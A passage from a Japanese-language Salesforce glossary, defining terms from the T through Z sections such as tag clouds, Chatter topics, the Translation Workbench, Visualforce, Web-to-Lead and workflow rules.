談、レポート、ソリューション、ToDo、およびカスタムオブジェクト (リレーションシップグループメン
バーを除く) です。タグには、SOAP API からもアクセスできます。

タグクラウド
Salesforce CRM Content の、ライブラリのコンテンツがどのようにタグ付けされているかを示す方法。タグク
ラウド内では、使用頻度によってタグ名のサイズが増えます。つまり、タグが大きいほど、高い頻度でファ
イルまたは Web リンクに割り当てられていることになります。ユーザは、タグをアルファベット順または
使用頻度順のどちらでソートするかを選択できます。タグクラウドでは、使用頻度の高いものから 30 のタ
グが表示されます。

タスクバーリンク
各タブの下にあるリンク。それぞれのページで最もよく実行する操作を簡単に呼び出すことができます。
たとえば、取引先を新規作成する場合などです。

テリトリー
テリトリーが使用される売上予測バージョンでは、取引先と売上予測を生成するユーザです。

時間ベースのワークフローアクション
ワークフロールールおよびそれに関連するタイムトリガの条件が揃ったときに実行されるワークフローア
クション。
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通算トップのアイデア
[通算トップ] サブタブでは、アイデアのポイント数が最も多いものから順に並んで表示されます。これに
より、アイデアゾーンの履歴の中で最も人気のあるアイデアを参照できます。

トピック
Chatter に投稿またはコメントするときにトピックを追加することで、あなたの投稿やコメントに、同じ件
名に対する他のすべての投稿やコメントを関連付けることができます。トピックとは、あなたの投稿また
はコメントを分類する手法の 1 つで、これにより、他の人が探しやすくなります。また、同じトピックに
関する知識および関心がある人やグループを発見するのにも役立ちます。

トピック、Chatter アンサー
顧客が質問および返信を参照できるデータカテゴリをリストするサイドバー。たとえば、ハードウェア製
品に関するゾーンがある場合、トピックにはラップトップ、デスクトップ、プリンタがあります。

トランスレーションワークベンチ
トランスレーションワークベンチを使用して、翻訳する言語を指定し、翻訳者を言語に割り当て、Salesforce

組織に作成したカスタマイズの翻訳を作成し、管理対象パッケージから表示ラベルと翻訳を上書きするこ
とができます。カスタム選択リスト値からカスタム項目にいたるすべてを翻訳し、海外のユーザがSalesforce

のすべてを彼らの言語で使用できるようになりました。
トピックのトレンド

Chatter タブの [トピックのトレンド] エリアには、Chatter で今まさに議論されているトピックが表示されま
す。ユーザが投稿やコメントに特定のトピックを追加したり、短期間に同じトピックの投稿にコメントや
いいね! をしたりする頻度が高いほど、そのトピックがトピックのトレンドになる可能性が高まります。た
とえば、同僚が近々 Dreamforce の会議に出席することになっており、Chatterでそれについての議論を開始す
ると、「Dreamforce」がトピックのトレンドとして表示されます。トピックのトレンドは、人気度のみに基
づくのではなく、通常は、会議やプロジェクトの期限など、活動の急な増加を伴う、頻繁には行われない
1 回限りの行動に関連するトピックが表示されます。プライバシー上の理由により、[トレンドトピック] に
は、非公開グループまたはレコードのフィードでのみ使用されたトピックは含まれません。

切り捨て
カスタムオブジェクトの切り捨てでは、オブジェクトからすべてのレコードを削除すると同時に、オブジェ
クトとそのメタデータをそのまま保持できます。

U

V

Visualforce

開発者が、プラットフォームに作成されたアプリケーションのカスタムページおよびコンポーネントを容
易に定義できる、タグベースのシンプルなマークアップ言語。各タグが、ページのセクション、関連リス
ト、または項目など、大まかなコンポーネントときめの細かいコンポーネントのどちらにも対応していま
す。コンポーネントの動作は、標準の Salesforce ページと同じロジックを使用して制御することも、開発者
が独自のロジックを Apex で記述されたコントローラと関連付けることもできます。
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投票、アイデア
アイデアコミュニティの投票とは、アイデアを昇格または降格させることです。アイデアに投票した後、
ニックネームがアイデアの詳細ページの下部に表示され、投票されたかどうかを追跡できます。自分の [最
近の活動] ページを使用して、自分が投票したすべてのアイデアの一覧を確認できます。

投票、回答
アンサーコミュニティで、投票は質問に対する回答が参考になったかどうかを示します。

W

Web ダイレクトリード
Web サイトをブックマークした、または Web サイトの URL を直接入力したユーザが Salesforce 追跡コードが
記載された Web-to-リードフォームに入力したときにリードが生成されたことを示す特定のリードソース。

Web リンク
「カスタムリンク」を参照してください。

Web 参照リード
ユーザが別のサイトの参照リンクを使用して Web サイトに移動し Salesforce追跡コードが記載された Web-to-

リードフォームに入力したときにリードが生成されたことを示す特定のリードソース。たとえば、ユーザ
がパートナーの Web サイトを参照し、Web サイトへのリンクをクリックして Web-to-リードフォームを入力
すると、Web 参照リードが生成されます。リードソースの詳細には、各 Web 参照リードの参照 URL が含ま
れます。

Web-to-ケース
会社の Web サイトでカスタマーサポートの問題やフィードバックを収集し、それらのデータを使用してケー
スを生成する機能。

Web-to-リード
会社の Web サイトで登録情報やプロファイル情報を収集し、それらのデータを使用してリードを生成する
機能。

ワークフローアクション
ワークフローアクション (メールアラート、項目自動更新、アウトバウンドメッセージ、ToDo など) は、ワー
クフロールールの条件が満たされると起動します。

ワークフロールール
ワークフロールールは、指定された条件に該当するときに、ワークフローアクションを実行します。ワー
クフローアクションは、ワークフロールールで指定された条件をレコードが満たすとただちに実行するか、
タイムトリガを設定して特定の日に実行するように設定することができます。

X

該当用語はありません。

Y

該当用語はありません。
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Z

ゾーン
ゾーンでは、アイデアおよび質問を論理グループに整理します。ゾーンには、それぞれ独自のテーマ、固
有のアイデアや質問があります。
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